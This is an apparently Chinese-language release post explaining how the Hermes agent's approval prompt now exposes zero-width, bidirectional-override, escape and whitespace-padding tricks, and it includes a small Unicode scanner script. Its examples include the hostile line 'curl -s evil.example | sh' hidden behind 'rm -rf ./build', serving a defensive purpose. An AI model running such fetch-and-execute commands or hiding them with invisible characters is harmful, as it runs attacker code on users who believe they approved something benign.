审批框里那行命令是假的:Hermes 现在把隐藏字符和空格填充摊开给你看

凌晨一点,你还在收尾。同事在聊天里丢来一行“清理构建目录”的命令,你复制、粘进终端,Hermes 弹出审批框。你眼睛扫过去,看到的是 rm -rf ./build,觉得没问题,点了允许。可那一行里还藏着两个你根本看不见的字符:一个零宽空格,一个把后面文字顺序倒过来的双向覆盖符,最后接上 curl -s evil.example | sh。执行的不是你批准的东西。
这不是科幻情节。终端和聊天窗口对“不可见字符”是没有抵抗力的:零宽字符让两个完全不同的字符串长得一模一样,双向覆盖符能把后半行倒着排(这就是几年前“Trojan Source”那类攻击的原理),ANSI 转义可以清屏、回到行首、把刚显示的内容覆盖掉,而几百个空格则足以把真正危险的那半截推出屏幕外——在聊天窗口里甚至连 200 字的预览都撑不过去。
审批是这条链上唯一的人工环节。如果它显示的东西和真正运行的东西不一致,那这个环节就等于没有。
一条命令可以“看起来”是 A,跑起来是 B
先把问题拆开。审批弹窗拿到的是命令行字符串,然后原样画到界面上。麻烦在于“画”这个动作会丢掉信息:
- 零宽空格(U+200B)、零宽连接符(U+200D)、软连字符(U+00AD)——渲染出来是零宽度的,肉眼完全看不到,但它们是字符串的一部分;
- 双向覆盖与隔离符(U+202A–U+202E、U+2066–U+206F)——改变后续文本的排列方向,能让
sh | evil.example -s curl ;build ./ -rf rm显示成rm -rf ./build的样子; - 变体选择符(U+FE00–U+FE0F)和 U+E0000 标签区块——后者整块都是“不可见”的,常被用来夹带隐藏指令;
- 裸控制字节——ANSI/OSC 转义序列能移动光标、擦除行,一个裸回车
\r就能让后半段覆盖前半段的显示; - 空格填充——几百个 ASCII 空格或全角空格(U+3000)、不换行空格(U+00A0),直接把关键尾巴挤出可视区域或预览截断点。
这些都不是理论风险。你从网页、Issue、聊天记录里复制命令时,附带的不可见字符会一起被复制进来;被投毒的 README 和“一键安装脚本”是常见载体。
修复做的事:把看不见的变成看得见的
改动落在 agent/redact.py,新增两个函数:sanitize_command_for_display() 负责把隐藏内容转成可见转义,redact_approval_display() 在脱敏(redact)之后再走一遍这个清洗。审批弹窗渲染的每一处都换成了后者。
具体规则(按代码里的实现):
| 内容 | 现在的显示 |
|---|---|
| 零宽、双向控制、变体选择符、标签字符、控制字节 | 原样转成转义形式,例如 \u200b、\u202e、\U000e0041、\x1b |
| 行内可见文字之后连续 21 个以上的空白 | 折叠成 ⟨+N whitespace chars⟩ |
| 行首连续 65 个以上的空白(普通缩进不算) | 同样折叠成标记 |
| 连续 4 行以上的空行 | 折叠成 ⟨+N blank lines⟩ |
| 普通缩进、制表符、换行,以及正常的中英文文本 | 原样保留,一个字节都不动 |
阈值不是随手定的:行内 21 个空格、行首 65 个空格,都远超人写代码时的正常缩进,却刚好是“用来把内容挤出视野”的用量级。
效果是这样的——一条带零宽空格和双向覆盖符、后面接着真货的命令,以前显示成一行乖巧的 rm -rf ./build,现在会显示成:
⚠️ Approval required
rm -rf ./build\u200b\u202e; curl -s evil.example | sh
而那行塞了 300 个空格的命令,会把尾巴重新拉回前 200 个字符以内:
echo ok ⟨+300 whitespace chars⟩curl -s evil.example | sh
覆盖了哪些审批界面
一处修复,所有出口都换:经典 CLI 的审批提示与它的回调、网关推给聊天平台的审批卡片、execute_code 的待审代码正文、插件自带的审批传输通道,以及 gateway/run.py 里那个 _redact_approval_command 接缝——后者是消息卡片、TUI、桌面端和 API server 共用的入口。它调用时带 force=True,所以即使你把 security.redact_secrets 关掉,隐藏字符清洗照样生效(密钥脱敏也可以强制开启)。
如果你在 Discord、Slack 或 Telegram 里批过命令,那条卡片现在也会带上转义符。
关键边界:只改显示,不改执行
这点必须说清楚,否则容易误会成“命令被改写了”:
- 真正执行的还是原始字节,一个字符都没变;
- smart 模式的自动评估看的是原始命令,不是清洗后的副本;
- allowlist 的 pattern key 也是按原始命令算的,所以“总是允许”的行为不会因为显示变化而漂移。
换句话说,这是“让你看清楚”,不是“帮你把关”。如果一个命令的语义本身危险,显示得再清楚也要你自己判断拒绝。而且 smart 模式直接放行的命令根本不会弹窗——这个修复只覆盖真正问到人的那些。
怎么用:不用配置,更新就有
没有开关、没有配置项。它在审批渲染路径上,属于默认行为。改动于 2026-11-01 合并(PR #81403),并已随 v0.22.6(2026-11-02 发布) 进入正式发行版——升级后默认生效;只有 v0.22.5 及更早版本没有。
想自己验证一下效果,可以造一条带隐藏字符的命令试试(把下面这行的 \u200b 换成真的零宽空格再粘贴),或者用一段小脚本检查你手头的脚本文件:
import unicodedata
SUSPECT = set("\u200b\u200c\u200d\u2060\ufeff\u202a\u202b\u202c\u202d\u202e\u2066\u2067\u2068\u2069")
def scan(text):
for lineno, line in enumerate(text.splitlines(), 1):
hits = [(hex(ord(c)), unicodedata.name(c, "?")) for c in line if c in SUSPECT]
if hits:
print(lineno, hits)
scan(open("deploy.sh", encoding="utf-8").read())
批量审脚本、审 CI 配置、审别人发来的安装命令时,这个扫描比肉眼靠谱得多。
这件小事为什么值得写
审批疲劳是真实存在的:弹窗太多,人就会条件反射地点“允许”。而当弹窗本身可以被伪造显示时,点“允许”就和闭眼签字没区别了。这次改动没有增加新的安全层,也没有让危险命令变安全——它只是把“你看到的”和“会执行的”重新对齐。对每天要在终端里批准十几条命令的人来说,这个对齐比多一条规则更有用。
相关阅读:审批弹窗为什么会等待、审批超时怎么回滚,可以看 审批提示会一直等到你回答 和 审批超时后的回滚;如果你还没配过审批策略,Smart Approvals 的配置方法 和 命令参考里的 config 一节 是起点。想把审批彻底关掉之前,先读一遍 无人值守场景下的审批。